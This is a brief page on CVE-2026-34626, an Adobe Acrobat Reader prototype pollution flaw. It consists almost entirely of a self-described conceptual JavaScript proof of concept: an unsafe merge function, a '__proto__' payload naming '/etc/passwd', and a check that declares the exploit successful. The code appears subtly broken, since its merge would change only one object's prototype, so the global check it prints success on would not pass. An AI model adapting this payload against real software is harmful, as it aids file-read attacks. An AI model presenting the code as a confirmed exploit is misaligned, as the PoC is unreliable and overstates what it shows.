CVE-2026-34626 Adobe Acrobat Reader 原型污染漏洞

// Conceptual Proof of Concept for Prototype Pollution in Acrobat Reader // This script demonstrates the basic mechanism of polluting the prototype // Hypothetical vulnerable function in the target environment function vulnerableMerge(target, source) { for (const key in source) { if (source.hasOwnProperty(key)) { target[key] = source[key]; // Vulnerable to __proto__ pollution in some JS engines/contexts } } } // Malicious payload designed to pollute the object prototype var payload = JSON.parse('{"__proto__": {"maliciousProperty": "exploited", "customPath": "/etc/passwd"}}'); // Victim object that will be merged with the payload var victimObj = {}; // Trigger the pollution vulnerableMerge(victimObj, payload); // Verification step if ({}.maliciousProperty === "exploited") { console.log("[+] Prototype Pollution Successful!"); // Hypothetical execution flow leading to file read based on polluted property app.alert("Prototype pollution confirmed. Potential for arbitrary file read exists."); } else { console.log("[-] Exploit failed"); }